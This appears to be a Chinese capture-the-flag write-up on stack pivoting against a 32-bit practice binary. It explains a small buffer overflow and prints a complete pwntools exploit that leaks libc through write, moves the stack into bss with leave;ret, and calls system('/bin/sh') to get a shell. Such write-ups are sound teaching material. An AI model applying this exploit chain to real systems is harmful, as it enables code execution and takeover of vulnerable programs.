栈迁移

题目描述

查看保护

IDA看代码

发现存在两处读入
第一处往s处读入0x200字节(s位于bss段,可写)
第二处往buf处读入0x20字节
发现buf的空间为0x18,读入0x20,则存在溢出,但最多溢出0x20-0x18=8字节
程序为32位,所以最多只能覆盖ebp和返回地址
于是需要利用栈迁移

注意:

  • 由于函数结束退栈时有一次leave,ret的操作,我们为了达到栈迁移的目的又进行了一次leave,ret。所以需要覆盖ebp为想覆盖的地址-4,在这里即覆盖为bss_addr-4(或者在布栈时一开始用四字节垃圾数据填充)

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    from pwn import*
    from LibcSearcher import*
    context(os='linux', arch='i386', log_level='debug')
    #r = remote("node3.buuoj.cn", 27677)
    r = process('./spwn')
    elf = ELF('./spwn')
    main_addr = elf.symbols['main']
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    bss_addr = 0x0804A300
    leave_ret = 0x08048511

    payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    r.recvuntil("What is your name?")
    r.sendline(payload1)

    payload2 = 'a'*0x18 + p32(bss_addr-4) + p32(leave_ret)
    r.recvuntil("What do you want to say?")
    r.send(payload2)

    write_addr = u32(r.recv(4))
    print ('[+]write_addr: ',hex(write_addr))
    libc = LibcSearcher('write', write_addr)
    libc_base = write_addr - libc.dump('write')
    sys_addr = libc_base + libc.dump('system')
    binsh_addr = libc_base + libc.dump('str_bin_sh')

    r.recvuntil("What is your name?")
    payload3 = p32(sys_addr) + p32(main_addr) + p32(binsh_addr)
    r.sendline(payload3)

    r.recvuntil("What do you want to say?")
    r.sendline(payload2)
    r.interactive()
    (leave==>mov esp,ebp; pop ebp)
    (ret==>pop eip)
    分析一下
  • 第一次读入时往bss段上读入指令,把bss段作为栈布局
  • 第二次读入时通过栈溢出覆盖ebp为bss_addr-4,将返回地址覆盖成leave,ret指令地址
    • 程序在退栈时首先把bss_addr-4存到ebp中,并返回执行leave,ret
    • leave,ret指令会先把ebp的值赋给esp,此时ebp,esp都指向了bss_addr-4这个地址
    • 接下来pop ebp,即把bss_addr-4的内容弹出存入ebp(不重要)
    • 最后执行pop eip,把bss_addr的内容弹出存入eip
  • 这样一来bss段就作为栈来执行了,后续就是传统的ret2libc3